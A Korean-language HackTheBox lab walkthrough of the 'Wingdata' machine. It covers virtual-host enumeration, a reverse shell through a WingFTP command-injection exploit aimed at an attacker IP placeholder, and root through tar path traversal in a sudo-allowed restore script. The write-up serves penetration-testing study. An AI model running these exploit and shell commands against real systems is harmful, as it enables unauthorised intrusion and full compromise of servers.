
HackTheBox Wingdata 워크스루로, 초기 접근을 위한 WingFTP CVE-2025-47812 명령 주입과 root 권한 상승을 위한 tar 경로 트래버설 sudo 권한 상승을 다룹니다.
플랫폼: HackTheBox | OS: Linux
VHost 열거를 통해 WingFTP 서버를 발견한다. CVE-2025-47812 명령 주입으로 초기 접근을 얻는다. sudo Python 복원 스크립트가 조작된 tar 아카이브를 추출하는 것을 이용해 root 권한을 획득한다 — tar 경로 순회로 임의 파일을 root 권한으로 쓸 수 있다.
nmap -sC -sV wingdata.htb -Pn
22/tcp open ssh OpenSSH
80/tcp open http wingdata.htb main site
/etc/hosts에 wingdata.htb를 추가했다. 포트 80은 가상 호스팅을 시사하는 도메인을 참조했다.
ffuf -u http://wingdata.htb -H 'Host: FUZZ.wingdata.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -ac
발견: ftp.wingdata.htb — WingFTP Server 웹 인터페이스.
CVE-2025-47812는 WingFTP Server 웹 인터페이스의 명령 주입 취약점이다. 정제되지 않은 파라미터가 리버스 셸을 전달한다.
nc -lvnp 4444
python3 exploit_CVE-2025-47812.py --target http://ftp.wingdata.htb --lhost <ATTACKER_IP> --lport 4444
셸 획득. user 플래그 확보.
sudo -l
# (root) NOPASSWD: /usr/bin/python3 /opt/restore.py
/opt/restore.py는 tar 아카이브를 받아 root 권한으로 추출한다. tar는 경로를 정제하지 않으므로 — 파일명에 ../가 포함된 조작된 아카이브는 추출 디렉터리 외부에 파일을 쓴다.
python3 craft_tar.py
sudo /usr/bin/python3 /opt/restore.py -b backup_888.tar
root 셸 획득. root 플래그는 /root/root.txt에 있다.
교육 목적으로만 사용. 본인이 소유하거나 명시적 테스트 허가를 받은 시스템에서만 테스트하십시오.